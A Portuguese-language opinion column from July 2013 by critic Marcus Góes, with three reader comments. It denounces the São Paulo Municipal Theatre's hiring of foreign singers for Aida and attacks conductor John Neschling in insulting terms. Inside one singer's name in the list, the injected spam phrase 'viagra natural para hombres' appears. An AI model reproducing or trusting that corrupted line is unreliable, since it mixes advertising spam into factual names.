Artigo

Vergonhoso aviltamento da arte e dos artistas nacionais

Não se sabe porque não se contratou um regente de orquestra estrangeiro através da empresa encarregada.

O TEATRO MUNICIPAL DE SÃO PAULO, em vergonhosa  atitude de menosprezo à capacidade e possibilidades dos artistas nacionais, foi buscar na Itália e em outros países, através de uma  empresa  indicada e escolhida pelo TMSP, a quase totalidade dos cantores que participarão da ópera AIDA, de Verdi, a ser estreada agora no próximo dia 09.

Os contratados, que custarão, com outros profissionais estrangeiros da área cênica, a enorme soma de cerca de  R$ 1.700.000,00, cujos repasses acompanharemos para comparar cachês, constam do Diário Oficial do Estado e não fazem parte da elite de cantores de ópera internacionais, tipo Netrebko, Garanca, Fritoli, Kauffmann, Hrostowsky, Terfel,  Juan Diego Flores, Dessi, Alvarez, Radvanovsky, Voigt, Nucci, Cioffi, Dessay, Alagna, Mattila, Ben Heppner, Racette e  muitos outros, entregues  a seus afazeres na Scala, no Metropolitan, em Berlim, em Paris e por todo o mundo.

Não. O TMSP vai colocar no seu palco os cantores  Maria José Siri (sic…), Maria Billeri, Tuija Knihtila, Laura Brioli, Anthony Michael Moore, Gregory Kunde, Stuart Neill. O crítico e dono de blog Ali Hassan Ayache estampou em seu operaeballet.blogspot.com.br a página do Diário Oficial, espantando-se e denunciando que “onze gringos vão trabalhar” na Aida.

Temos aqui pertinho e muito mais baratinho técnicos e profissionais da área da direção cênica, cenografia, montagem, iluminação, como Fernando Bicudo, Cléber Papa, Iacov Hillel, Carla Camurati, Heller Lopes, Lívia Sabag, Hélio Eichbauer, Quinderê, Mauro Wrona……………….

Não importa se temos cantores do porte de Eliane Coelho, Leila Guimarães ( cabe aqui citar minha mulher), Eiko Senda, Denise de Freitas, Regina Elena Mesquita, Luísa Francesconi, Sávio Sperandio, Fernando Portari, Leo Pascoa, Lício Bruno, Atala Ayan, Leonardo Neiva, a despontante Marina viagra natural para hombres Considera,  Tiago Arankan, Richard Bauer, Lina Mendes, Gabriela Pace, Carolina Faria, Elisabeth Pelliccioni, Sylvia Klein, Elisete Gomes, Noeli Mello, Edna d´Oliveira, Rosana Lamosa, Juremir Vieira,  Pepes do Valle, todos considerados inferiores aos contratados. Eu, Marcus Góes, com esses cantores sou capaz de fazer várias Aida´s de agrado do público.

Não se sabe porque não se contratou um regente de orquestra estrangeiro através da empresa encarregada. A escalar estrangeiros nos principais papéis, com pálidas exceções, os quais são julgados melhores que os nacionais, o  regente de orquestra John Neschling devia pular fora, dar o exemplo e escalar um coleguinha seu lá das “europas”. Este certamente seria melhor, mais técnico, mais músico, mais eficiente que John Neschling, como os cantores estrangeiros são melhores,  mais técnicos, mais músicos, mais eficientes que os nossos.

 Por que trazer todos de fora e deixar John empoleirado na regência, a ela agarrado como sanguessuga esfomeado?  Se nossos cantores não servem, por que serve nosso regente/diretor?

 Regente Neschling, dá o fora enquanto é tempo, pois ninguém vai  respeitá-lo botando os nacionais na lata de lixo e ficando de fora das exclusões . O primeiro a não ser escalado devia ser o regente brasileiro, por uma questão óbvia de coerência.  

PS. Escrevo de memória, alguns erros de nomes podem ocorrer.

 MARCUS GÓES – JULHO 2013     

      

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6 Comments

  1. ÀS PRESSAS, SERIA NATURAL A OMISSÃO DE ALGUNS BONS CANTORES BRASILEIROS CAPAZES DE ENCARAR ALGUM PAPEL EM “AIDA”, COMO O TENOR MARCELLO VANNUCCI, O SOPRANO PALOMA LIMA, O SOPRANO LOREN VANDAL, O SOPRANO ANA PAULA BRUNKOW E OUTROS QUE SERÃO LEMBRADOS. SERÃO MENCIONADOS TAMBÉM DIRETORES DE CENA. PERDÃO AOS LEITORES.

  2. O diretor artístico do TMRJ Isaac Karabtchevsky já se encontra na Itália e lá se encontrará com o titular da OSTMRJ Sílvio Viegas e com a presidente da FTMRJ Carla Camurati. Consta que foram contratar cantores. Viajam às expensas de dinheiro público.

    Não é necessário viajar com tão altos custos para contratar cantores. Hoje tudo isso se faz por contatos com empresários, Internet e referências pessoais e da mídia. Iremos escrever a respeito. Virou moda…

  3. Por que não contrataram regente internacional? Óbvio, o Regente Neschling é internacional. A contratação de empresa estrangeira ou artistas estrangeiros tem servido de moeda de troca para livre circulação de artistas brasileiros no exterior. Há muitos anos essa pratica ocorre. Você me convida para cantar por aqui que eu te levo para a Europa. Tudo isso às custas de dinheiro público, diga-se do povo brasileiro. Se o tribunal de contas da União investigar as contratações indevidas na administração pública, desrespeitando o princípio da economicidade e se existem profissionais no Brasil, deve-se privilegiar os profissionais nacionais, diminuindo as despesas de passagens aéreas.

    Agora, como não existe ópera totalmente custeada pelo setor privado, a empresa patrocinadora, se UTILIZA DE ARTISTA INTERNACIONAL do porte da Renee Fleming COMO CHAMARIZ de venda de assinaturas. Há ausência de diretrizes pra ÓPERA NACIONAL PÚBLICA que se confunde com o pensamento provado de empresas patrocinadoras que visam o produto como lucro e entretenimento. A MAIOR PARTE DAS PRODUÇÕES DE ÓPERAS NACIONAIS E FESTIVAIS tem no seu PATROCÍNIO a maior cota do governo estadual, municipal e federal. PORTANTO NOSSA ÓPERA E ORQUESTRAS SÃO ESTATAIS. Os teatros não deveriam ter o pensamento privado como vêm tendo. TESTES DE ELENCOS, QUADRO DE MÚSICOS E CORAL devem ser admitidos via edital, via concurso. Embora sendo objetivo, esse procedimento garante maior transparência… o caminho seria por ai…

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Marcus Góes
Musicólogo, crítico de música e dança e pesquisador. Tem livros publicados também no exterior. Considerado a maior autoridade mundial sobre Carlos Gomes.